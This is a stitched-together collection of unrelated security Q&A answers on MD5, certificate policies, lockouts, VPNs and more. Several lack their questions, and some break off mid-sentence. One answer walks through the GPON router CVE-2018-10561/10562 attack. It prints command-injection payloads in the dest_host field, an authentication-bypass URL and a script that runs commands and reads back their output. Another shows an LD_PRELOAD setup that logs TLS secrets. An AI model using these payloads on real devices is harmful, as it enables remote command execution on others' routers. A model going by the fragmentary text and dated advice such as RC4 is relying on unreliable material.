MD5 collision attacks: are they relevant in password hashing?

Collision attacks have no impact on password hashing, although there can be some details depending on what you hash for. Roughly speaking, when we hash passwords, we may want to do two things:

Check that the password hashes to a given stored value: this is password verification (e.g. to know whether to grant login access to a server).
Compute a big symmetric key deterministically from the password: this is key derivation (e.g. to encrypt a file).

Password verification works only on resistance to preimages (hardness of finding a value m such that h(m) matches a given output). However, key derivation needs a bit more than that. Ideally, for key derivation, the hash function should behave as closely as possible to the mythical random oracle. We already know that hash functions based on the Merkle-Damgård construction, such as MD5 or SHA-256, are not random oracles (because of the "length extension attack"); however, we can use such functions in HMAC, which uses two nested hash function invocations precisely to avoid issues with the MD construction. But HMAC is "proven" secure only relatively to an internal property of the hash function (namely, the internal "compression function" should be indistinguishable from a PRF) and we know that this property is not fulfilled in the case of MD5, because otherwise collision attacks would not be feasible...

To sum up, when using MD5 for key derivation, we need to apply schemes such as HMAC-DRBG (a PRNG based on repeated HMAC invocations), which use MD5 internally. Such schemes are known to be strong as long as the hash function is strong, and while collision attacks do not directly apply, they show that this "strength" is not achieved. Thus, the guarantee is void. Nobody knows, right now, how to weaken HMAC/MD5, but we have the example of MD4: MD4 is thoroughly broken for collisions (collisions can be produced "instantly"), and there is a known attack on HMAC/MD4 which is quite expensive but nonetheless much faster than the theoretical 2128. The attacks on HMAC/MD4 do not exploit collisions, but build on differential paths which are the same source from which collision attacks have been designed. Therefore, it is highly suspected that HMAC/MD5 is not as strong as, say, HMAC/SHA-256 (even when truncated to 128 bits).

Correspondingly, for key derivation, do not use MD5. It would not be broken right away, but it is still looking for trouble. There is no need to immediately migrate existing systems which use MD5 for password hashing, but for new designs, you should avoid it.

Mandatory reminder:
Of course, when hashing passwords, regardless of the intended usage (password verification or key derivation), you shall apply salts and configurable slowness. A password is by itself a weakness because of biological limitations of the human brain which manages it. Salts and configurable slowness are ways to cope with it: salts thwart parallelism (the attacker cannot share attack costs between several password instance -- e.g. through precomputed tables such as rainbow tables) and slowness defeats Moore's law (computers get faster over time, but human brains do not). So you would not want to hash a password with "just MD5", but rather use a dedicated password hashing function such as PBKDF2 or bcrypt. PBKDF2 internally uses a hash function, e.g. MD5. It so happens that MD5 (like SHA-256) maps very well on the computing abilities of GPU, which makes it a questionable choice for this job, and bcrypt is arguably better (see this answer for details).


These are worth a read:

https://wiki.wireshark.org/Wi-Fi
https://wiki.wireshark.org/CaptureSetup/WLAN

Some network cards will provide 802.11 headers (including the SSID which you can use to identify the network), other network cards strip those and present WiFi as regular Ethernet.


Intercepting with Burp does not work - alternative ways

Depending on your actual needs -

Most browser development tools let you see requests / responses including content. Open it (For chrome Ctrl+Shift+I) before loading the page.
There are several browser add-ons for modifying requests in flight. Tamper Chrome for example.
Why doesn't Burp work? Have you added Burps CA cert?


The base idea is that a policy describes the certification process over the whole path, not just at the level of a given CA. Within a given certificate C, the Certificate Policies extension gives the set of policies to which the process which resulted in the creation of C conforms.

During validation (see section 6.1 of RFC 5280), the verifier computes the "policy tree". In simple cases (see below for possible complications), the leaves of valid_policy_tree at the end of the processing will be the intersection of the sets of policies in all certificates in the path (the steps "prune the policy tree" are what really computes the intersection). In simple words, the set of policy which you obtain at the end will be the set of policies which appear in all the certificates in the path. It is quite logical: you can say that a given path conforms to policy 1.2.3.4.5 only if all certificates in the path were issued in ways compatible with policy 1.2.3.4.5, a property that the certificates themselves advertise by containing policy 1.2.3.4.5 in their Certificate Policies extension.

It is not required that each certificate only uses a subset of the certificates from the upper CA. This would be ill-defined, because paths may merge (a given CA may obtain several certificates from several über-CA, and they could contain distinct policies). The intersection work is done at validation, when a single path is considered. Conceptually, there is no path until validation.

Possible complications:

There can be certificates without the Certificate Policies extension.
There can be policy mappings, which allow for replacing some policies with others along the path.
There is a special policy called anyPolicy which alters the processing.
There are extensions which can inhibit anyPolicy, and/or require an explicit policy, beginning with a given path depth.

I have encountered a great many CA which get it wrong with regards to policies; that is, they include in each certificate a (non critical) Certificate Policies extension where they put a unique policy which is specific to that CA. End result is that, upon validation, valid_policy_tree is empty (this is not fatal, since these certificates do not include any extension requiring an explicit policy). This is using the extension as a kind of glorified comment.


Does an ORM framework such as Hibernate completely mitigate SQL injection?

No, you are not automatically safe.
SQL Injection can still exist.

From the OWASP page:

  A note about SQL injection

  Since it is the hot topic, I will
  address it now but discuss in detail
  later.

  Hibernate does not grant immunity to
  SQL Injection, one can misuse the api
  as they please.
  There is nothing
  special about HQL (Hibernates subset
  of SQL) that makes it any more or less
  susceptible.
  Functions such as
  createQuery(String query) and
  createSQLQuery(String query) create a
  Query object that will be executed
  when the call to commit() is made. If
  the query string is tainted you have
  sql injection. The details of these
  functions are covered later.


Is anyone seeing a performance decrease after applying recent kernel patch fixing Meltdown and Spectre?

The performance impact will vary greatly depending on what the program does.

After the Meltdown patch (KPTI) whenever there is a context switch from user-space to kernel-space there is a significant overhead because of the frequent flushing of the kernel page tables.

So this means that a program that relies on frequent context switching (like a database or an hypervisor) will see a big performance impact, while others may hardly notice any.


The reason was that gnupg resp. enigmail didn't ask for the passphrase in the first place. I figured out that I needed to install pinentry which provides the dialog for entering the GnuPG passphrase.

For some reason it worked without pinentry before.
I guess that a Linux Mint update removed a program responsible for the dialog before and didn't replace it properly (I've been using the current installation for quite a while, starting with Mint 14 and always updating to the next release).

I still wonder about my long key ID shown by enigmail via details -> Enigmail Security Info: the short value is not a part of the long ID, as it should be according to this thread
and does not have any similarity.


Direct Object Reference is a really bad name for:  lack of authorization controls.   Knowing the ID isn't really the problem.  The problem is that each record in the database needs to have ownership information,  and you should enforce this ownership by keeping information about the user in a session.

The best cryptographers know when crypto isn't needed,  and a stronger system can be used in its place.


This was an excel thing. When importing, click on the hosts column where it says "table" and then use the two arrows button to expand the table.


How to programatically verify a file signature?

With all due respect, you are trying to reinvent the wheel for something that you don't understand very well. You are trying to hand-roll your own RSA signature verification code so that your app can verify its own signature at startup.

This is a solved problem through the Windows Code Signing system. What you should do is buy a proper code signing certificate so that Windows automatically verifies the signature on your app every time it is run:

Crypto is very tricky and hard to get right, so I highly advise you to use the built-in Windows mechanisms rather than trying to do this from scratch.


How do the CVE-2018-10562 and CVE-2018-10561 exploits work?

The answer lies on this page: https://github.com/nixawk/labs/tree/master/CVE-2018-10562

  An issue was discovered on Dasan GPON home routers. Command Injection can occur via the dest_host parameter in a diag_action=ping request to a GponForm/diag_Form URI. Because the router saves ping results in /tmp and transmits them to the user when the user revisits /diag.html, it's quite simple to execute commands and retrieve their output.

It now makes sense. It appears that Dasan routers must have a remote management feature that allows the router interface to be accessed externally over port 80/8080 and this is what is vulnerable because certain Dasan routers have a GponForm/diag_Form file which for whatever reason allows for a remote ping functionality and possibly a restricted set of other diagnostic commands. It appears that for ping, there is no sanitisation on the ip to ping, which allows for a command to appended to the end of it. Furthermore, there is also a vulnerability on the router where appending ?images bypasses authentication (checking token of accessor) such that anyone can send the post request.

A request to a webserver running on a machine behind the router will not achieve anything because it is only the Dasan webserver that is vulnerable; it may be still be picked up by WAF however.

The git repository linked at the top of the answer uses a dictionary as its payload, here is the value of the dest_host key:

payload = "127.0.0.1;\`echo {randflag};{cmd};echo {randflag}`;".format(randflag=randflag, cmd=cmd)

It is clear that the host to ping is not sanitised as it allows for the appension of another command at the end. For some reason echo statements have been used but {cmd} on its own would have sufficed.

Another source code uses a single string rather than a dictionary for the POST data as it uses requests.Request() rather than requests.post() to send the POST request:

payload = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`' + command + '`;' + command + '&ipv=0'

This is similar to the previous example except they have not included an IP to ping and immediately inserted a command to be executed, the command output will hence be used as the target address whereas the previous example would be using 127.0.0.1;commandoutput as the IP to ping.

If I were to write it I would write:

domain = sys.argv[1]
command = sys.argv[2]

url_bypass = domain + '/GponForm/diag_Form?images/'
payload = 'XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=127.0.0.1;`command`&ipv=0'

send_command(url_bypass, payload)

In the code above we see a url_bypass which is the url of the vulnerable diag_Form. A POST request is then sent to that url using the payload as the POST data in the request body which will cause the command to be executed along with the ping command

Finally, Diag.html is visited using requests.get(url), which on Dasan routers returns the results of the ping that was performed. Because of the backticks, the command was executed and the output appended to the address as a string meaning it is obviously returned in the ping result as it was interpreted as the address to ping. The backticks are preserved by python2 because they are in quotation marks, hence not converted to repr().

for line in response.text.splitlines():
    if 'diag_result = "ping -c 4 -s 64' in line:
        output = line.replace('\\n', '\n')
        break

Which (when "ls /bin/" is the command) looks like this:

diag_result = "ping -c 4 -s 64 127.0.0.1;
Console
EthMgr
GponCLI
GponSLID
.
.
.


If a hacker were to compromise a GMail database

Google can read the contents of the emails stored in GMail. That's explicit: they officially scan the email contents, see this FAQ, specifically the question "Is Google reading my mail?":

  No, but automatic scanning and filtering technology is at the heart of Gmail. Gmail scans and processes all messages using fully automated systems in order to do useful and innovative stuff like filter spam, detect viruses and malware, show relevant ads, and develop and deliver new features across your Google experience. Priority Inbox, spell checking, forwarding, auto-responding, automatic saving and sorting, and converting URLs to clickable links are just a few of the many features that use this kind of automatic processing.

(This answer can be summed up as: "no, we do not read your emails, except that we totally do read them, but, trust us, that's for your own good".)

So if Google can read the emails, any attacker gaining control of the Google servers obtains, by definition, the same kind of power, i.e. he can read the emails, too.

Now there may be details about storage: possibly, the database contents might be encrypted with a key known by some other Google servers, so that an attacker gaining access to the database only, but not the other servers, would still be locked out of the email contents. This is not very probable, though: there is some non-negligible overhead (a little extra encryption cost, and, more importantly, the inability to perform the most expensive scan&match methods directly on the database machines themselves). So such database "encryption" is normally done only when you do not trust the database provider (but Google is big enough to be its own database provider) or when the data is very sensitive (e.g. passwords). My guess is that emails are stored as cleartext on whatever machines do the storage at Google's.

(Usual wisdom is that email contents are much more at risk during transit than when stored by a competent, security-aware provider. For much better email protection, use GnuPG with your correspondents; this will protect emails both in transit and when stored. GnuPG interaction with GMail's Web interface appears to be tricky, but GMail is also an IMAP provider that you can use with a classical mail client software.)


Java Applet - Need Code Signing Certificate vs SSL Certificate

If jarsigner -verify tells you that there is a problem, then chances are that the JVM will refuse your applet, for the same reason, since they use the same code base.

The Extended Key Usage is a standard certificate extension which indicates the exhaustive list of "usages" for which the certificate is allowed. In this case, it appears that jarsigner (and thus, presumably, the JVM) is adamant on the certificate containing that extension with the specific OID which says "code signing". It is up to your CA to write the relevant extension; a certificate for a SSL server will not contain such an extension by default (if it has an "extended key usage", it will contains OID for things like "server authentication", not for "code signing").

You will have to obtain a specific code signing certificate. Not all CA sell this sort of thing.


What are the security practice or case studies for account lockouts?

There are a couple of ways that the passphrase could be compromised by an automated attacker, which of course does not apply to the social media login. I ignore application-level vulnerabilities. You need to threat model these for all the ways that users can access the data: web and any APIs presented.  Often APIs will use an identification token which is really just a string, which has obvious implications.

A dictionary or brute-force against a known user ID. Where an attacker tries many passphrases against a known user ID.

A known passphrase against brute-forced user ID. Where an attacker tries the same passphrase against the set of user IDs.  This is particularly an issue if the user IDs are sequential or easily guessed.

You have some defences against these.

Login throttling.  Many web frameworks have this or can implement it:
for example Django-Axes link
For a given UID limit the number of attempts.  Fewer than a dozen,
then prevent access for a minute.  All you want to do is increasing
the work effort to run the cracker For a known password attack then
you can check for enumerated accounts.  You'll have to identify the
attacker for which the IP address is a reasonable proxy or you can
use browser finger printing or possibly use cookies.
A CAPTCHA could work for your users.  They are fairly intrusive so
you could do what Amazon does and only show the CAPTCHA if there have
been X failed attempts.  Then you do not incommode your users.  If
you choose to use Google's reCaptcha then you have to deal with the
fact that you are delegating to Google and the reCaptcha is really a
check that the user has a Google account: it's perfidious IMHO. You
could throw a simple "what is 1 +1" or whatever check.
Blacklist source IP addresses that have too many failed attempts.  But you will
need to consider in your threat model that many people may come from
a shared IP, for example anyone who works for company X may be behind
the company firewall so you can't simply use IP address. Blacklisting
is a great DOS that a malicious actor can use against you to block
off access to your users. You will need to think about that in your
threat model and ensure that your blacklist algorithms account for
this.  Eg if you have lots of users from university X and one person
runs a brute force then you are going to shut off all your legitimate
users if you are incautious in your defences.
Web Application Firewall.  Apache ModSecurity could be your friend, or a commercial
variant Bash script to update IPTables based on X failed attempts
from address Y
As a variant to CAPTCHA send a one time code / link to their email address. The account is locked until the click on the link, which resets their password.

  How many attempts before locking out an account, and

Allow five attempts for the same UID, same IP and different password.  On the fourth attempt throw up a CAPTCHA or tell them you are going to email them a one time password valid for X minutes.  On the seventh attempt with a valid CAPTCHA lock the account for 1 minute.  Repeat and double the lockout each time.  A legit user will have given up by this point and will have requested a new password.  Give them the choice to reset password via email link.  You need at least five because the first wrong password is wrong, the second is the same password typed more slowly, then the third, then they add 1 and then 2 to the password and finally give up.

Having a periodic 2 step authentication code sent to email can be a good mitigation.  As NIST and NCSC both recommend not having periodic password changes then that still introduces some control.


Does using a VPN completely stop MITM (man in the middle) attacks? If not, what other defences should I consider?

Assuming that you have a properly configured and behaving VPN client, using a VPN will prevent MiTM attacks from occurring between your computer and the VPN server. There is still a chance of a MiTM attack occurring between the VPN server and the desktop you are connecting to.

Assuming that the both the VPN and desktop are inside your company's private network, connecting to the desktop via VPN is as secure as connecting via any other network connection inside your company's network. Likewise, if the VPN and desktop are not within a private network, then the connection is open to MiTM attacks on the public internet.


Frankly, I would install VMs using Virtualbox and create a standalone internal network. Then, I would infect one machine with Slammer and capture the traffic.

If you are going to be doing security research, then you will need to set up a lab like this and get your hands dirty. Your learning will be so much better.

Good luck!


Can my computer get infected if I hover the mouse to check the thumbnail of an e-mail attachment?

Maybe. In theory it might be that the (unknown) mail client you use already extracts information from the attachment when you simply hover over it. And the practice might not be that far away from this theory:
There were several bugs in the past where the preview feature for mails could be used to execute malware, see Can malware be activated by previewing email in Outlook's Preview pane? or BadWinmail: the really bad Outlook flaw. There were also code execution in the past triggered by simply hovering over a file in explorer.


How do I verify a signature using DSA and my own "y" value in Python?

A DSAPublicKey instance can be created from a DSAPublicNumbers instance, which can be created using the raw values:

from cryptography.hazmat.backends import default_backend
from cryptography.hazmat.primitives.asymmetric.dsa import DSAParameterNumbers, DSAPublicNumbers

param = DSAParameterNumbers(p, q, g)
pnum = DSAPublicNumbers(y, param)

pubkey = pnum.public_key(backend=default_backend())

Note that in addition to the y value, you will need the DSA parameters p, q and g.


Situations that a firewall should use rule for all packets

Whenever it's the easiest way to define your rules.

Modern firewalls are more than capable of dealing with dozens, hundreds or even thousands of rules without much of a performance hit, so the general rule is to make your rules easy to administer and to make sure your device performs the function you intend.

That means; if your device only does one job with one type of packet, set up your defaults to deal with that type of packet and you're done. If however you need to deal with multiple types in various ways, well, separate policies may be easier to deal with rather than letting things fall through to your default because you can change their priority in your chain, add rules afterwards, etc. - doing it that way also means that your device does nothing you don't explicitly intend (assuming your default is deny all).

For real-time streaming, video broadcasting and the like we have QoS which on most devices you can include or associate with your streaming rules.


How does a Certificate get associated to the private key pair?

Is there a way to specify where the private key is to be stored (ie into the TPM)?

Not from GUI. You have to use command-line tool certutil:
certutil -csp "Microsoft Platform Crypto Provider" -importpfx path\ssl.pfx


You're trying to take away communications capabilities from a tool designed to communicate.  It's probably not the best choice of devices.

You can start by setting the phone into "airplane mode", which is intended to shut off the radios.  Because of the way RF works, that means it shuts off both transmitting and receiving.  It should keep you safe, but of course, you could accidentally enable it again.

You need to take a survey of the RF that the phone is designed to communicate on.  Obviously it has cell communications, but it may also have Wi-Fi, Bluetooth, and NFC.  If you disable the cell antenna you won't stop the other communications channels.  You'll have to also remove the hardware that supports the other technologies, and do so without damaging the phone.  (For example, a Bluetooth or Wi-Fi antenna is a very tiny element on the circuit board.)


This is no bug in Google but a deliberate attempt of the web site to misuse Google for spamming the user. If you request the URL https://www.google.com/url?... Google will redirect to the site and this is visible in the request send by the browser:

GET / HTTP/1.1
Host: jandjip.com
...
Referer: https://www.google.com/
...

Some server-side code will then analyze this Referer and reply to redirect the user to a different URL (original response slightly edited for better readability):

<meta http-equiv="refresh"
   content="0; url=https://alltabsstoretext.com/search.html?key=viagra&t=ed1_conc"
>

If you instead access the site directly the Referer will not point to Google and thus the redirect will not happen.

It is not fully clear if this is a deliberate attempt of the site itself or if the site was hacked. But given that this seem to be some investment property site created with WordPress and that WordPress is a common target of successful attacks it is likely that the site is hacked. In fact, this is what sucuri suggests.


What kind of certificate should I get If I want to secure a connection between a web server and a database?

It is important to understand that certificates provide integrity and encryption provides confidentiality. In other words; the certificate makes sure that you are talking to who you think you are (if part of chain of trust), but it does not encrypt your connection. However integrity and confidentiality nearly always go hand-in-hand, which is why the public key of a client is contained within its certificate. Once the identity of the asset serving the certificate is verified, its public key can be used to encrypt the connection and negotiate further encryption details.

In theory it would suffice to simply generate a keypair on both the database server and application server, and use those to configure the encryption between the two. The fact is that many systems require certificates to encrypt the connection, so as said, also the identity of the other side of the connection can be verified. Since your application is not publicly facing, the certificate does not need to be signed by a CA. You would just need to generate a keypair, create a CSR out of it, and consequently self-sign it. No money has to be spent here.

You can use these self-signed certificates to configure the encryption between the database and your application.


I had SSL certificate on my site but still it has been hacked...how to prevent this from happening?

An SSL certificate protects users of your site from having their communications intercepted by a 3rd party. I think it is likely that when you say your site was hacked, this isn't what you're talking about. An SSL certificate does not validate the content of your site, nor does it prevent anyone from accessing it as intended or otherwise. Controls for these are outside the realm of SSL.

There is no warranty regarding SSL certificates other than potential civil liability. Unless your certificate itself was compromised by actions of the issuer, you have no case against them and no warranty is implied.

As far as figuring out what was insecure about your site, how you were compromised, or what needs to be addressed to fix it, you need to have forensic analysis performed on your compromised machine. A review of the website code for the site in question may also be in order.


Malware-like site opening from within Facebook

It is a bit hard to believe that if your phone is infected, they'd need to show you ads. They can do far worse things. :)

If you're using FB in a browser, it could be one of two things:

It could be AdTech going bad (i.e., some advertising network
injecting ads).
ISPs are known to intercept traffic to inject ads
too.

I would try a different browser. I recommend FireFox Focus (a fairly new browser) as a remedy for such Ad nuisance.


Is it safe to give my PayPal email and Home Address to a stranger?

The whole affair sounds strange or at least unusual, indeed.

  Is it safe to give my PayPal email address and my Home Address to this
  person?

As mentioned on Kaspersky Security Bulletin 2013. Overall Statistics for 2013
 DDoS attacks and mass spying on personal information are one of the main activities of attackers.

In this article (Data Breach QuickView, An Executive’s Guide to 2013 Data Breach Trends), you can also see percentage of interest in personal data of nefarious people:

In your case, you are likely to be a victim of a social engineering procedure.

Bu what could be done by your data ? You could be either impersonated, or seeing your email address under regular spams reception -or even being contacted by the same people using a malicious email that could solicitation you for example to visit a link that will perform a drive-by download attack to install malware on your computer or control it) or, in the case these people know you, try to guess or crack your password since these efforts would be rewarded.

What I mentioned is in terms of security threats (or the pessimistic point of view), otherwise it could be just some immature people who do not take their job too seriously -which thing is rare but exists anyway.


Usually security questions are not used by themselves and are used to accompany email verification. Some services also use them when your logging in from a different location to normal to add to the login process. Using them by themselves, unless you're asking like 50 questions, can be a security issue.

Whatever you do they can still be weak and guessable so the right questions have to be used. There is a list of good security questions here which are supposed to be more difficult to guess.


What does Microsoft mean by "Trusted Domain" in relation to Kerberos?

Trusted domains are other Active Directory domains from which security principals can be recognized. For example, a child domain controller can recognize accounts from its parent domain, and principals from the parent domain can be members of security groups in the child domain. In two-way trusts, either domain can recognize security principals from the other. (Parent-child trusts are automatically created two-way trusts, but you can set up any kind of trust you want manually.) Trusts can also link domains that were previously completely separate, i.e. not part of the same forest.

There is a trust password used to set up the secure channel. You can manage trusts with the Active Directory Domains and Trusts snap-in.

Further reading: Trust Relationships


How to attack a specific computer on a remote network?

Unless there's a port forwarded to that specific computer that the attacker can use, such an attack wouldn't work. The attacker would have to do the reverse, making the victim computer connect to the attacker's computer.


How does master secret calculates in encryption protocol used by WhatsApp?

The ECDH() refers to Elliptic-curve Diffie–Hellman. It's mentioned in the paper only indirectly by referring to the Signal Protocol by Open Whisper Systems and Curve25519. This is a commercially focused white paper, so it does't really intend to get into the mathematics.

The reason for using 3–4 different Diffie–Hellman key pairs and concatenating (||) the operations is to prevent stolen private keys to be used to decrypt any previously captured communication: medium-term and one-time keys have changed during the time, while the long-term key pair proves it's still the same person. Because all these keys are needed, it also gives plausible deniability; any proofs of authenticity of the decrypted messages gets lost when the conversation finishes.


Chrome Frame is an example of how browsers "merge together". How can I unmerge all of them?

How can I "unmerge" (for lack of a better word) all the browsers that I've installed? In other words, I don't want Chrome vulnerabilities to exist while I browse using IE.

Vulnerabilities in Google Chrome are not directly affecting Microsoft's Internet Explorer.


Extracting openssl pre-master secret from nginx

Well, as I was pointed at nginx mailing list, nginx removes all environment variables inherited from its parent process except the TZ variable, so once I defined needed variables in nginx.conf

env LD_PRELOAD=/usr/local/lib/libsslkeylog.so;
env SSLKEYLOGFILE=/tmp/premaster.txt;

keys started being recorded as expected.


Is PCI DSS Require a dedicated syslog server - collecting only PCI systems logs,, or centrally syslog server is OK for PCI dss?

The PCI Requirement 10 doesn't mention the need for a syslog server dedicated only to PCI systems. All the PCI_compliant companies that I've worked, they had only one syslog system (usually a SIEM solution).

If you had two or three log repositories it can become complicated to analyse and correlate events in case of an incident. For example, if someone attacks a non-PCI server and later escalate the attack to a PCI-scope server, it is better to have all the logs in one single repository.

Keep in mind that your syslog server will become on the PCI scope, so it will need to meet all the PCI requirements.

If you want to read more about the PCI Requirement 10 (which talks about monitoring), take a look on this blog: https://www.pcicomplianceguide.org/security-logging-and-monitoring-pci-dss-requirement-10-why-all-the-fuss/


First of all, what you are attempting to do will not work. PGP and S/MIME are fundamentally incompatible. Putting your friend's PGP public key into an x.509 certificate will not allow you to use S/MIME tools to communicate with him. Either you need to both use S/MIME, or both use PGP. You cannot mix.

As far as whether or not this can be done: Certificates have to be signed by someone. So if you have a public key, you can embed that into a certificate that gets signed by someone else, but you can't create a self-signed certificate without the private key.

But here's the catch: user-oriented tools (such a openssl command line) will only create certificates either (a) self-signed using a private key, or (b) by signing a request.

And signing requests are themselves signed using the key they embed. The idea is that if you're going to create a certificate for someone, you want to verify that they actually have the key you're certifying.

But... when you get down to the internals, such as using the openSSL API functions, you're allowed to do pretty much whatever you want. You can create unsigned requests and certificates[1] (which may not be honored anywhere) and you can create certificates using only the public key and some attributes.

You may want to look at using either the openssl C api directly, or perhaps one of the fine libraries built for other languages.

Here's an example in Ruby: This example provided as an edit by grawity. I have not tested this code.

#!/usr/bin/env ruby
require 'openssl'

pkey_data = File.read("id_rsa")
pkey_password = ""
subject = "/O=Honest Achmed's Used Cars and Certificates/OU=Self-made/CN=Geremia's cert"
expiry_years = 1

# Fill basic v1 fields
cert = OpenSSL::X509::Certificate.new
cert.version = 2  # for X.509 v3
cert.serial = 1
cert.subject = OpenSSL::X509::Name.parse(subject)
cert.issuer = cert.subject
cert.not_before = Time.now
cert.not_after = Time.now + (expiry_years * 365 * 86400)

# Add v3 extensions
extf = OpenSSL::X509::ExtensionFactory.new
extf.subject_certificate = cert
extf.issuer_certificate = cert
cert.extensions = [
    # basicConstraints is marked as 'critical' here
    extf.create_extension("basicConstraints", "CA:FALSE", true),
    extf.create_extension("subjectKeyIdentifier", "hash"),
    # 'copy' means needed information will be taken from subjectKeyIdentifier
    extf.create_extension("authorityKeyIdentifier",
        "keyid:copy, issuer:copy"),
    extf.create_extension("keyUsage",
        "digitalSignature, keyEncipherment, nonRepudiation"),
    extf.create_extension("extendedKeyUsage",
        "clientAuth, serverAuth, emailProtection"),
]

# Add public key and self-sign – if you omit the cert.sign()
# call, you WILL have an unsigned certificate made just with the public key.
pkey = OpenSSL::PKey::RSA.new(pkey_data, pkey_password)
cert.public_key = pkey
cert.sign(pkey, OpenSSL::Digest::SHA1.new)

# Output in PEM format (aka base64-encoded DER)
puts cert.to_pem

[1] About a decade ago I created an OpenSSL interop library for .NET which did these things by accident. Luckily nobody ever saw this project but me.


Sent and Received text messages that I didn’t send or receive

Yes it's possible an iPhone can get hacked to send and receive messages and delete them as well.

It's also possible somebody linked your iMessage account to another device so check what devices are authorized.

Otherwise reset all passwords. Enable 2FA/MFA where possible. Update IOS to the latest version. Uninstall any recently installed apps. Update any existing apps to the latest version. If it happens again restore the phone to factory defaults.


Auto encrypt chunks of content for backup, best practice?

It depends on the 'level' you're working at - are you dealing with data generated by an application you're implementing, or securing data being generated by some other bit of software? The suggested approach is going to be a little different.

For data generated by software you don't control:
(Such as logfiles, etc.)See if you can leverage the underlying filesystem, your SAN, or similar - in Windows this can be achieved by creating a user to run whatever task is generating the data, logging in as them and setting the output folder to 'encrypted'. You'll need this user to run your backup, but most backup applications will allow you to write out as encrypted data, so you'll have your data encrypted at rest, as it's generated, then decrypted and re-encrypted when you run your backup (but with a key that you can put in your DR plan).

For data generated in software you control that you want to encrypt:
If you're talking about implementing something yourself (i.e. have this happen in an application you're developing), have a look at any of the well understoond stream ciphers, such as RC4 (though RC4 is famously tricky to keep secure, it is well understood - Trivium or the like may be a better choice, bit you may need to hunt a bit to find a library for your language of choice). Stream cipers are designed to work with data of an unkown or unknowable length, which sounds like the sort of problem you're describing.


Does it matter how information is represented prior to signing?

Most solutions I have come across have chosen a XML-like structure where the 'plain text' have been one part and the signature have been an added section.

Before

<message><various tags to represent your data></message>

After

<message><various tags to represent your data><signedhash></signedhash></message>

But to answer your question, I would say it would have little practical difference.

There are theoretical increased risk with any situation where you increase the predictability of your plain text before encryption where randomized padding was used for example to make sure all messages was exactly the same number of bytes.

If you put in known structure in your hash, it might take me a few decades less to brute-force a hash that matches correctly?


Access from a single address does not make it magically safe if the attacker can use this IP address. This can be done directly if the attacker has compromised this specific system. It can be done indirectly if the attacker can cause a HTTP request from this IP address, for example by sending a mail with a link to the user on this system or by including some link (might be automatically submitted) inside a web page which the user on this IP visits. See also CSRF and XSS attacks and similar.
Apart from that an attacker might reside in the path of the connection. Thus even if the data seem to originate at the specific IP they could be modified or newly generated by some man in the middle (proper HTTPS protects against this though).


Bypassing the GFW with IPv6 and proxying all IPv4 traffic

You are asking for how a client which is effectively IPv6-only can connect to IPv4-only sites. NAT64 is designed to allow IPv6-only clients to connect to IPv4-only servers. In order to use NAT64 you also need to use DNS64 and/or 464XLAT. It is possible for 464XLAT to be autoconfigured using information from DNS64.

There are public NAT64 installs in various places around the internet, sometimes these will also provide a public DNS64. The first showing when I did a search was this deploy360 page which lists three DNS64 addresses. Of those 2001:67c:27e4::64 was the only one working for me.

If you configure your device to use 2001:67c:27e4::64 as your DNS server and disable IPv4, you will be able to access IPv4-only sites through the NAT64. You can also do your own search for providers, the one I found is certainly not the only public NAT64+DNS64.

This relies on the client software you use to support IPv6. If you need to use client software without IPv6 support, you need 464XLAT support on your device. 464XLAT will translate IPv4 traffic from the application to IPv6 and send it to the NAT64 which translates it back to IPv4.


IANAQSA

In the PCI DSS, "store" basically means "keep a copy of, outside of those copies which are necessary to the actual processing chain."  It's not so much the method of "storage" as the intent.

So the SAD may be kept in memory, written to a database, or even saved to a file as a necessary component of processing.  Batch processing files are the most obvious example of this.  I have heard QSAs describe the acceptable period for this processing-storage state as "hours, not more than 24"; here's a snippet from Braintree claiming that it might be up to days.  You should discuss your situation with your QSA; they are the only ones whose opinion matters.

Likewise, if you are keeping the SAD in memory after it was no longer necessary for processing, you're violating the "do not store" clause.  You could, hypothetically, set up a pair of programs to ping-pong the SAD data across the network so that it was always being transmitted; if you didn't need that data for a processing step, you're still "storing" it when you shouldn't be.


Installed sketchy Chrome extension - Potential malware infection?

I assume the extension you installed was https://chrome.google.com/webstore/detail/flash-player/ooonkoejkmhiacbhhkdgfeemioceapbh

It is named "Flash Player" and states it's "Offered by: flash player". I checked version 1.1.3. On install it opens https://themusic[.]io/

The requested permissions are:

Read and change all your data on the websites you visit
Manage your downloads

The music page it opens because on install it opens https://flplayer[.]net/welcome, which redirects there. On uninstall it opens https://flplayer[.]net/uninstall which simply says "Sorry if we don't fit your needs See you next time!"

Another interesting page is http://flplayer[.]net/config.php, from which it fetches a bunch of configuration options. This includes a value named analyticsId ("UA-117750115-1"), which seems an identifier for Google Analytics (seems unused), and a mixpanelId (58410f8ab299e0eb2b736f6e233eda37) which is used if extendedAnalytics was set.

Another weird feature it has is that when rendering embed box, if the protocol is https it gives the urls through the page https://greatapptst[.]com/redirect.php?url=<url> (which proxies anything)

As the browser itself mediates what the extension can do, I do not think it could have escaped to install a system program (no, not a keylogger, either). At most, it could have published some information about your browser and pages. Specially about the pages you visited after installing it. But apparently you uninstalled it immediately, so even in that case there's not much it could have harvested.
If you had, I


Oldest security feature still in active use

In ant colonies, specialized ants act as guards and prevent other ants from entering some areas unless they "present" the appropriate, colony-specific pheromone. This is the password model, and ants have been doing that since (at least) mid-Cretaceous, 110 million years ago. So I daresay that the "password" is an ancient security system.

In the realm of human endeavors and technology, cars have featured keys (as security features, i.e. controlling whether the car can be operated at all) since the 1920s.


Which MTA don't have antivirus check for outbound emails?

MTAs don't usually have AV built in, it's separate (though in some cases closely integrated, e.g. Exchange + Forefront).

I guess you're really asking which free webmail providers don't scan for viruses. No big provider is going to be that sloppy, and no small provider is likely to still be in business.

So you're probably out of luck with tis approach. Some alternatives:

You could deploy your own MTA, as per Jeff's answer. This is less work than you'd think, since you aren't doing anything clever, so won't need to do any configuration; out-of-the box postfix will send a mail for you.
You could fall back on the old messaging admin's trick and type SMTP commands by hand over telnet, but that's a little fiddly when you need to send an attachment.
You could try using SWAKS.

I think SWAKS will be the best option: they have your exact use case - sending EICAR into an MTA to check the AV is firing - as one of the examples in their documentation!


What is the ideal HMAC message format if message is an array?

You could encode like this:

x1key1y1data1x2key2y2data2

Where x1 is the lenght of the key, and y1 is the lenght of the data.

This way you ensure that the keys are in the same order, and you can put any binary data on it. Just define a limit for the key and data lenght, and use padding to make sure x and y uses the same lenght:

004key1005test1002k1025long random binaŕy śtring

You don't need to care about separators, json or anything. And you can decode the string with a PHP snippet like this:

$data = "004key1005test1002k1025long random binary string";
